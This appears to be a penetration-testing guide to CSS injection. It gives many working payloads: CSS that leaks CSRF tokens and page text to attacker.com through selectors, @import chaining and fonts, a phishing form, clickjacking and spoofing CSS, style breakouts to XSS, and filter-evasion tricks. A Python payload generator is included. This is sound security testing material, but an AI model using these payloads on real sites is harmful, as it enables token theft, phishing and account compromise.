| CWE | CWE-74, CWE-1021 |
| WSTG | WSTG-INPV-11 |
| MITRE ATT&CK | T1185 |
| CVSS Range | 4.3-8.1 |
| Tools | burpsuite, dalfox |
| Difficulty | 🔴 advanced |
CSS Injection
Test for CSS injection by injecting crafted style rules into user-controlled inputs that land inside style attributes, <style> blocks, or dynamically loaded CSS. CSS injection does not require JavaScript execution, making it effective even under strict CSP that blocks inline scripts.
Quick Reference​
| Aspect | Details |
|---|---|
| Attack type | Client-side injection via CSS |
| Target | Any input reflected inside style attributes, <style> blocks, or CSS files |
| Key distinction | Does NOT require JS execution — works under script-src 'none' CSP |
| Impact | Data exfiltration, UI redressing/phishing, clickjacking, defacement |
| Key CWE | CWE-74 (Injection), CWE-1021 (Improper Restriction of Rendered UI Layers) |
Detect CSS Injection Points​
Where User Input Lands in CSS​
Style attribute injection:
<!-- Input appears inside a style attribute -->
<div style="color: USER_INPUT">
<div style="background-image: url(USER_INPUT)">
Style block injection:
<!-- Input appears inside a <style> block -->
<style>
.user-theme { color: USER_INPUT; }
</style>
CSS custom properties / theming:
<!-- Input controls CSS variable values -->
<style>
:root { --user-color: USER_INPUT; }
</style>
CSS file injection (rare):
/* Input reflected in a dynamically generated .css file */
GET /theme.css?color=USER_INPUT
CSS-in-JS frameworks (Styled-Components, Emotion):
// Neither library auto-escapes interpolated variables
const Box = styled.div`color: ${props => props.userColor};`
// Attacker sets userColor to break out of the rule:
// "#8233ff; } html:not(&) { input[value*='pa'] { background: url(https://attacker.com/?pa) } }"
Tailwind CSS arbitrary values:
<!-- Dangerous when user input controls class names -->
<div class="bg-[USER_INPUT]">
<div class="before:content-[attr(data-msg)]" data-message="USER_INPUT">
Confirm Injection​
Inject a visible style change to confirm your input is interpreted as CSS:
red; background: lime
}*{background:lime}
For blind injection (no visual feedback), use an external callback:
"><style>@import'//YOUR-PAYLOAD.oastify.com'</style>
If the page background turns green or Burp Collaborator receives a DNS/HTTP hit, the injection point is live.
Exfiltrate Data via CSS​
CSS injection's most dangerous capability: stealing sensitive data from the page without JavaScript.
Attribute Selector Exfiltration​
Steal attribute values (CSRF tokens, hidden input values) character by character using CSS attribute selectors and background-image callbacks:
/* Steal CSRF token from: <input type="hidden" name="csrf" value="a8f3..."> */
input[name="csrf"][value^="a"] { background: url(https://attacker.com/exfil?csrf=a); }
input[name="csrf"][value^="b"] { background: url(https://attacker.com/exfil?csrf=b); }
input[name="csrf"][value^="c"] { background: url(https://attacker.com/exfil?csrf=c); }
/* ... one rule per character per position */
/* After learning first char is "a", narrow to second character: */
input[name="csrf"][value^="a0"] { background: url(https://attacker.com/exfil?csrf=a0); }
input[name="csrf"][value^="a1"] { background: url(https://attacker.com/exfil?csrf=a1); }
/* ... repeat until full token is extracted */
Hidden inputs have no rendered box — background-image won't fire. Use the sibling combinator to target a visible sibling instead:
input[name="csrf-token"][value^="a"] ~ * { background: url(https://attacker.com/exfil?c=a); }
Or use the :has() parent selector (supported in all major browsers since 2023):
div:has(input[name="csrf"][value^="a"]) { background: url(https://attacker.com/exfil?c=a); }
CSS variables as conditional switches — cleaner than per-element backgrounds:
input[value^="a"] { --found: url(https://attacker.com/exfil?c=a); }
html { background: var(--found, none); }
Sequential Import Chaining (SIC)​
The most effective technique for extracting full tokens without page reloads. Uses @import with server-side long-polling to chain requests sequentially in a single page load:
- Inject
@import url(https://attacker.com/stage?token_length=32) - The attacker's server holds the connection open (long-poll) while returning CSS with attribute selectors for position 0
- When a
background-imagecallback fires (revealing the character at position 0), the server releases the next@importwith updated selectors for position 1 - Repeats automatically until the full token is extracted
/* Initial injection */
@import url(https://attacker.com/sic/start);
/* Server responds with (held open until previous stage resolves): */
@import url(https://attacker.com/sic/stage2);
input[name="csrf"][value^="a"] { background: url(https://attacker.com/sic/hit?p=0&c=a); }
input[name="csrf"][value^="b"] { background: url(https://attacker.com/sic/hit?p=0&c=b); }
/* ... */
Key advantages:
- No page reload needed — extracts entire token in one visit
- Works without framing — does not require iframes, bypasses
X-Frame-Options: DENY - Bypasses DOMPurify — DOMPurify allows
<style>tags by default
Use the SIC tool (github.com/d0nutptr/sic) to automate this.
Font Ligature Exfiltration (fontleak)​
The primary technique for stealing text node content (not just attribute values). Works by creating custom fonts with GSUB substitution rules where specific character sequences produce glyphs of known widths, then using CSS container queries to detect the rendered width:
- Generate a custom font where the ligature for "se" produces a glyph of width X
- Apply the font to the target element inside a container query context
- When text contains "se", the element's width changes, triggering a
@containerrule that fires acontent: url(https://attacker.com/leak?seq=se)callback - Iterate through all character pairs/sequences to reconstruct the text
/* Container query detects width changes from ligature rendering */
@container (min-width: 200px) {
.target::before { content: url(https://attacker.com/leak?match=secret); }
}
Speed: 2400 characters in 7 minutes demonstrated against ChatGPT's CSP. The @import chaining variant achieves 1000 chars/minute.
Works on Chrome, Firefox, and Safari (Safari requires a font-chaining variant). Use the fontleak tool (github.com/adrgs/fontleak) to automate.
CSS if() Inline Style Exfiltration (Chromium Only)​
The newest technique (PortSwigger, 2024-2025). Exploits CSS if() conditionals to exfiltrate data from inline style attributes alone — no <style> tag needed:
<div style="--val: attr(data-uid); --steal: if(style(--val:'1'): url(/1); else: if(style(--val:'2'): url(/2); ...)); background: image-set(var(--steal));" data-uid="1"></div>
Key details:
- Works via
style=""attributes alone — dramatically expands attack surface - Uses
attr()to read same-element attributes,if()for branching,image-set()to trigger requests - Currently Chromium-only (Chrome, Edge)
- Bypasses sanitizers that strip
<style>tags but allowstyleattributes
@font-face Unicode-Range Detection​
Detect specific characters in text nodes using @font-face with unicode-range:
@font-face {
font-family: exfil;
src: url(https://attacker.com/exfil?char=a);
unicode-range: U+0061; /* 'a' */
}
@font-face {
font-family: exfil;
src: url(https://attacker.com/exfil?char=b);
unicode-range: U+0062; /* 'b' */
}
/* Apply the font to the target element */
.sensitive-data { font-family: exfil; }
The browser only fetches the font file for characters actually present in the element's text content. The attacker learns which characters appear (but not their order or count).
Limitation: This reveals character presence, not sequence. Use fontleak for ordered extraction.
Scroll-Based Timing (No External Requests)​
When external requests are blocked (e.g., restrictive CSP on img-src), use scroll-triggered animations as a timing side-channel:
/* Create a very tall element that only appears if condition is met */
input[name="csrf"][value^="a"] ~ .probe {
height: 10000px;
}
Combine with :target selectors or scroll-snap events to detect which condition matched.
Process-Crash XS-Leak​
When even font/image requests are blocked (img-src 'none'), use a CSS renderer crash to detect conditions via cross-origin iframe load failure:
/* Crashes Chrome's renderer process */
linear-gradient(in display-p3, red, blue)
If a condition selector matches and applies this gradient to a visible element, the renderer crashes. The attacker detects the crash from the parent page via missing onload events on the iframe.
Steal Sensitive Page Content​
Target High-Value Elements​
Focus exfiltration on elements containing sensitive data:
/* CSRF tokens */
input[type="hidden"][name*="csrf"][value^="..."] { background: url(...); }
input[type="hidden"][name*="token"][value^="..."] { background: url(...); }
/* Email addresses in forms */
input[type="email"][value^="..."] { background: url(...); }
/* API keys displayed on settings pages */
code[data-key^="..."] { background: url(...); }
pre[data-api-key^="..."] { background: url(...); }
/* Any attribute containing sensitive data */
[data-secret^="..."] { background: url(...); }
Steal Link Destinations​
/* Exfiltrate href values from anchor tags */
a[href^="https://internal.corp"][href*="token="] { background: url(https://attacker.com/exfil?link=internal-token); }
a[href*="password-reset"] { background: url(https://attacker.com/exfil?link=password-reset); }
Blind CSS Injection (Unknown Page Structure)​
When you can inject CSS but don't know what's on the page:
- Confirm injection:
"><style>@import'//YOUR-PAYLOAD.oastify.com'</style> - Discover structure using
:has()with broad selectors - Target
<html>for backgrounds — no site useshtmlbackground, so no cascade conflicts - Use
:not()to exclude found values and enumerate multiple elements:
/* Enumerate all hidden input values on the page */
html:has(input[type="hidden"][value^="a"]:not([name="known"])) { background: url(...); }
Use PortSwigger's blind-css-exfiltration tool (github.com/hackvertor/blind-css-exfiltration) to automate.
UI Redressing and Phishing​
Overlay a Fake Login Form​
Inject CSS that hides the real page content and displays a phishing overlay:
/* Hide everything */
body > * { display: none !important; }
/* Show a fake login form using the application's own styles */
body::after {
content: "Session expired. Please log in again.";
display: block;
position: fixed;
top: 0; left: 0; right: 0; bottom: 0;
background: white;
z-index: 99999;
padding: 200px;
font-size: 24px;
text-align: center;
}
Combine with an <input> tag if the injection point allows HTML (CSS+HTML injection):
</style>
<form action="https://attacker.com/phish" method="POST">
<input name="user" placeholder="Username">
<input name="pass" type="password" placeholder="Password">
<button>Log In</button>
</form>
<style>
Clickjacking via CSS​
Reposition elements to trick users into clicking something different from what they see:
/* Make the "Delete Account" button appear where "Save" should be */
.delete-account-btn {
position: fixed !important;
top: 0 !important; left: 0 !important;
width: 100vw !important; height: 100vh !important;
opacity: 0 !important;
z-index: 99999 !important;
}
Content Spoofing​
Replace visible text content using CSS:
.account-balance {
font-size: 0 !important;
color: transparent !important;
}
.account-balance::after {
content: "$0.00 — Account suspended. Call 1-800-SCAM to resolve.";
font-size: 16px !important;
color: red !important;
}
Escalate to JavaScript Execution​
Break Out of Style Context​
If injection is inside a <style> block, break out to inject HTML/JS:
</style><script>alert(document.domain)</script><style>
If injection is inside a style attribute, break out of the tag:
red" onmouseover="alert(1)
These are XSS via injection point, not pure CSS injection. Document both: the CSS-only impact AND the XSS escalation.
Legacy Browser Targets​
In older browsers (IE, some older mobile WebViews):
/* IE-only — expression() evaluates JavaScript */
body { background: expression(alert(document.domain)); }
/* -moz-binding (ancient Firefox, removed) */
body { -moz-binding: url(https://attacker.com/xbl#xss); }
/* HTC behaviors (IE only) */
body { behavior: url(script.htc); }
Evade Filters​
Bypass Character Filters​
/* Backslash escapes in CSS */
\62 ackground: url(...) /* \62 = 'b' */
ba\63 kground: url(...) /* \63 = 'c' */
\000062ackground: url(...) /* Zero-padded Unicode escape */
/* Comment insertion */
back/**/ground: url(...)
background:/**/url(...)
/* Newline/tab insertion in CSS strings */
url('https://attacker\
.com/exfil')
Bypass URL Filters​
/* Use data: URIs */
background: url(data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg"/>);
/* Obfuscate the domain */
background: url(//attacker.com/exfil);
background: url(https://attacker%2Ecom/exfil);
Bypass Property Filters​
If background is filtered, other properties trigger URL fetches:
list-style-image: url(https://attacker.com/exfil);
border-image: url(https://attacker.com/exfil);
cursor: url(https://attacker.com/exfil), auto;
content: url(https://attacker.com/exfil); /* pseudo-elements only */
Bypass Common Defenses​
| Defense | Bypass |
|---|---|
CSP style-src 'self' | If the site hosts user-uploadable CSS files or whitelists CDN domains with user content |
CSP style-src 'nonce-...' | Cannot inject <style> tags, BUT inline style="" attributes work if style-src-attr is not separately restricted — CSS if() technique exploits this |
CSP img-src 'none' | Use @font-face with unicode-range instead of background-image, or use the process-crash XS-Leak |
| DOMPurify (default config) | DOMPurify allows <style> tags by default — must add FORBID_TAGS: ['style'] to block. Even then, style="" attributes may remain |
| Server-side HTML sanitization | Many sanitizers strip <script> but allow <style> — CSS is treated as "safe" |
X-Frame-Options / frame-ancestors | SIC technique does not require framing — works in top-level context |
CSS Injection in Email​
Email clients have unique CSS handling that creates distinct attack opportunities:
Tracking and fingerprinting:
/* Detect dark mode preference */
@media (prefers-color-scheme: dark) { .pixel { background: url(https://tracker.com/?mode=dark); } }
@media (prefers-color-scheme: light) { .pixel { background: url(https://tracker.com/?mode=light); } }
/* Detect screen size */
@media (min-width: 1920px) { .pixel { background: url(https://tracker.com/?w=1920); } }
/* Detect OS via font availability */
@font-face { font-family: detect; src: local("Segoe UI"); /* Windows */ }
Evasion of email security scanners:
/* Hide phishing text from security scanners while rendering normally to users */
.hidden-from-scanners { text-indent: -9999px; }
.visible-phishing::after { content: "Your account has been compromised"; text-indent: 0; }
/* Insert invisible characters between keywords to defeat text-matching filters */
.break-filter { font-size: 0; } /* "PayPal" becomes "P<span class=break-filter>junk</span>ayPal" */
Test Systematically​
Step 1: Map CSS Injection Surfaces​
Identify all inputs that end up inside CSS contexts:
- Theme/color pickers (custom CSS variables)
- Profile customization (custom backgrounds, colors)
- Email template builders
- Widget/embed configuration
- CSS-in-JS interpolated props (Styled-Components, Emotion)
- Tailwind arbitrary value classes
- Any parameter reflected in a
styleattribute or<style>block
Step 2: Confirm Injection​
Inject a safe, visible payload to confirm CSS interpretation:
red; border: 10px solid lime
For blind injection, use Burp Collaborator:
}@import'//YOUR-PAYLOAD.oastify.com';{
Step 3: Test Exfiltration​
Try attribute-selector exfiltration against a CSRF token or other hidden input on the page:
input[type="hidden"][value^="a"] ~ * { background: url(https://BURP_COLLABORATOR/?c=a); }
If hidden inputs have no visible siblings, use :has():
form:has(input[type="hidden"][value^="a"]) { background: url(https://BURP_COLLABORATOR/?c=a); }
Step 4: Test UI Redressing​
Inject CSS that modifies visible page content:
body::after { content: "INJECTED"; position: fixed; top: 0; left: 0; z-index: 99999; background: red; color: white; padding: 20px; }
Step 5: Test JS Escalation​
Try breaking out of the CSS context to achieve XSS:
</style><script>alert(document.domain)</script><style>
Assess Impact​
Level 1: Visual Defacement (Low)​
CSS injection confirmed, attacker can modify page appearance but cannot extract data or execute JavaScript.
Evidence: Screenshot showing injected styles altering the page layout.
Level 2: Data Exfiltration (High)​
CSS injection allows extracting sensitive attribute values (CSRF tokens, hidden fields) via external URL callbacks.
Evidence: Burp Collaborator/webhook logs showing exfiltrated token characters matching the actual value on the page.
Level 3: Phishing/UI Redressing (High)​
CSS injection enables convincing phishing overlays or clickjacking within the trusted application domain.
Evidence: Screenshot showing a fake login form overlaid on the legitimate application, hosted on the real domain.
Level 4: JavaScript Escalation (Critical)​
CSS injection point allows breaking out to execute JavaScript (via context escape or legacy browser features), achieving full XSS.
Evidence: alert(document.domain) execution confirmed in browser.
Tools​
| Tool | Purpose | When to use |
|---|---|---|
SIC (d0nutptr/sic) | Sequential Import Chaining — Rust-based, automates multi-character token extraction without reloads | Primary tool for attribute exfiltration |
fontleak (adrgs/fontleak) | Text node exfiltration via font ligatures + container queries | When you need to steal text content, not just attributes |
blind-css-exfiltration (hackvertor/blind-css-exfiltration) | PortSwigger's tool for blind CSS exfiltration of unknown pages | When page structure is unknown |
| Burp Suite | Intercept requests, identify injection points, test payloads | Always — primary tool for finding and confirming injection |
| Burp Collaborator | Receive exfiltration callbacks from CSS url() payloads | When testing data exfiltration |
| Browser DevTools | Inspect computed styles, verify injection | Confirm CSS interpretation and visual impact |
Generating Exfiltration Payloads​
import string
def generate_css_exfil(selector: str, attr: str, known_prefix: str, callback_base: str) -> str:
"""Generate CSS attribute-selector exfiltration payload for the next character."""
rules = []
for char in string.ascii_lowercase + string.digits:
prefix = known_prefix + char
rules.append(
f'{selector}[{attr}^="{prefix}"] ~ * {{ background: url({callback_base}?v={prefix}); }}'
)
return "\n".join(rules)
Prioritization​
Test these first (highest real-world exploitability)​
- Attribute-selector data exfiltration via SIC — If the page has CSRF tokens or sensitive hidden inputs and you have a CSS injection point, this is immediately exploitable for token theft in a single page visit. Works under strict CSP. Use the SIC tool.
- Font ligature text exfiltration — If the target data is in text nodes (not attributes), use fontleak. Demonstrated at 1000 chars/minute.
- UI redressing on authenticated pages — CSS injection on pages with sensitive actions (account settings, payment forms) enables phishing attacks hosted on the trusted domain.
- Style context escape to XSS — If injection is inside
<style>tags, breaking out to inject<script>achieves full XSS with critical impact.
Test these if time permits (lower exploitability)​
- CSS
if()inline exfiltration — Chromium-only, but expands attack surface to inline style attributes. Important when<style>tags are sanitized. - Clickjacking via element repositioning — Requires the target page to have sensitive clickable actions and the user to interact.
- @font-face unicode-range probing — Useful for detecting character presence in text nodes, but reveals less than fontleak.
- CSS-in-JS framework injection — Check Styled-Components/Emotion interpolation and Tailwind arbitrary values when the target uses these frameworks.
Skip if​
- No user input is reflected in any CSS context (style attributes, style blocks, or CSS files)
- The application uses a templating engine that auto-escapes CSS contexts (rare but possible)
Asset criticality​
Prioritize pages with sensitive data on them: pages with CSRF tokens + CSS injection > account settings pages > public pages with theming features. CSS injection on a page containing anti-CSRF tokens is immediately exploitable for CSRF regardless of CSP.